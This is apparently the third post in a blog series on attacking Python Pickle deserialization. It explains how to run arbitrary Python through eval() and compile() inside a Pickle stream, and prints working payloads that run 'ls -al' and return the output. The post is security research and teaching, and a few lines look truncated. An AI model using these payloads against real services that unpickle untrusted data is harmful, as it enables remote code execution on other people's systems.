[This is the third in a series of posts on Pickle. Link to part one and two.]
Thanks for stopping by. This is the third posting on the bowels of Python Pickle, and it's going to get a little more complicated before it gets easier. In the previous two entries I introduced Pickle as an attack vector present in many memcached instances, and documented tricks for executing OS commands across Python versions as well as a mechanism for generically calling class instance methods from within the Pickle VM.
In this post we'll look at executing pure Python code from within a Pickle steram. While running os.system() or one of its cousins is almost always a necessity, having access to a Python interpreter means that your exploits can be that much more efficient (skip on the Shell syntax, slightly more portable exploits). I imagine one would tend to combine the pure Python with os.system() calls.
eval("import os; os.system('ls'))
fails. It's worth noting that one can still call methods in expressions, so
eval("os.system('ls')")
can work if the 'os' module is present in the environment. If it isn't, you can still import 'os' with the expression:
eval("__import__('os').system('ls')")
or even execute a full code block with a double eval():
eval('eval(compile("import os;os.system(\\"ls\\")","q","exec"))')
Moral of that story: don't ever eval() untrusted input. Obviously.
However, we want to execute not only expressions but full Python scripts. eval() will also accept a code object, which is produced by compile(), and compile() will accept a full Python script. For example, to prove execution here's the venerable timed wait:
cmd = "import os; f=os.popen('sleep 10'); f.read()"
c = compile(cmd,"foo","exec")
eval(c)
>>> ret=eval(compile("import os; f=os.popen('ls'); f.read()","foo","exec"))
>>> print ret
None
This is because eval() always returns "None" if the supplied code object was compiled with "exec" and means we need a different trick for extracting contents of the eval'ed script. Luckily our first idea worked (yay), so we didn't look further; there may be better/faster/easier options. That idea was to modify the script's globals (variables scoped for the entire script) inside the eval() call, and access globals outside the eval() calls. This works, as globals are passed into eval() and changes reflects after the call returns:
>>> print smashed
Traceback (most recent call last):
File "", line 1, in
NameError: name 'smashed' is not defined
>>> eval(compile("import os; f=os.popen('ls'); smashed=f.read()","foo","exec"))
>>> print smashed
Desktop
Documents
Downloads
Library
Movies
Music
...
c__builtin__
eval
(c__builtin__
compile
(S'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'
S""
S"exec"
tRc__builtin__
globals
)RtRc__builtin__
globals
)R.
This executes 'ls -al', stores it in the "smashed" global variables and returns the whole globals dict as the end result of depickling. However, it is messy; globals contains other entries which is a waste of space and makes output harder to read. If we're inserting this into a broader pickle, we'd like to have more control (i.e. return a single string) rather than hope that whatever object we are injecting into can handle a dict.
code=compile("import os; f=os.popen('ls'); smashed=f.read()","foo","exec")
eval(code)
__builtin__.apply(__builtin__.getattr(__builtin__.dict,"get"),(__builtin__.globals(),"smashed"))
Converted into Pickle we get:
c__builtin__
eval
(c__builtin__
compile
(S'import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'
S""
S"exec"
tRc__builtin__
globals
)RtR0(c__builtin__
globals
)RS"smashed"
tp0
0c__builtin__
getattr
(c__builtin__
dict
S"get"
tRp1
0c__builtin__
apply
(g1
g0
tR.
The execution trace of this Pickle stream is:
[SB] [__builtin__.eval][SB] [__builtin__.eval] [MARK] [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK][SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK] ['import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'][SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK] ['import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'] [''][SB] [__builtin__.eval] [MARK] [__builtin__.compile] [MARK] ['import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n'] [''] ['exec'][SB] [__builtin__.eval] [MARK] [__builtin__.compile] [('import os\\np=os.popen("ls -al")\\nsmashed=p.read()\\n','','exec')][SB] [__builtin__.eval] [MARK] [code_object][SB] [__builtin__.eval] [MARK] [code_object] [__builtin__.globals] [SB] [__builtin__.eval] [MARK] [code_object] [__builtin__.globals] [()][SB] [__builtin__.eval] [MARK] [code_object] [][SB] [__builtin__.eval] [(pop code_object, )][SB] [None][SB][SB] [MARK][SB] [MARK] [__builtin__.globals][SB] [MARK] [__builtin__.globals] [()][SB] [MARK] [<globals dict>][SB] [MARK] [<globals dict>] ['smashed'][SB] [(<globals dict>,'smashed')][SB] [(<globals dict>,'smashed')][SB][SB] [__builtin__.getattr][SB] [__builtin__.getattr] [MARK][SB] [__builtin__.getattr] [MARK] [__builtin__.dict][SB] [__builtin__.getattr] [MARK] [__builtin__.dict] ['get'][SB] [__builtin__.getattr] (__builtin__.dict,'get')[SB] [dict.get][SB] [dict.get][SB][SB] [__builtin__.apply][SB] [__builtin__.apply] [MARK][SB] [__builtin__.apply] [MARK] [dict.get][SB] [__builtin__.apply] [MARK] [dict.get] [(<globals dict>, 'smashed')][SB] [__builtin__.apply] [(dict.get,(<globals dict>, 'smashed'))][SB] ["Desktop\nDocuments\nDownloads\n..."][SB]In the last posting on this topic, we'll look at tactical uses for all the Pickle hacking we've covered: where to find Pickle objects, where they're processed and how to modify objects in place. Stay tuned.